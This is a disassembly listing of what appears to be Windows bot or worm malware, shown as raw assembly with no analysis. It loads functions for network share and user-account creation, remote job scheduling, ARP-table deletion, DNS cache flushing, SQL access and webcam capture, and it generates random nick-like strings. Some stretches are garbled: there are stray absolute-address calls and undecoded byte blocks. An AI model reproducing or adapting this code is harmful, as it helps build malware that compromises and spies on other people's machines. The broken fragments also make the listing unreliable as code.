		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		call	near ptr 269086Bh
		nop
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		call	near ptr 269086Bh
		nop
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 269086Bh
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 269086Bh
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26A07AFh
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 0E8h
		dd 2295C8Fh, 91E85090h,	8B000117h, 0C710247Ch, 91382404h
		dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		call	near ptr 26D0000h
		nop
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26F0000h
		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
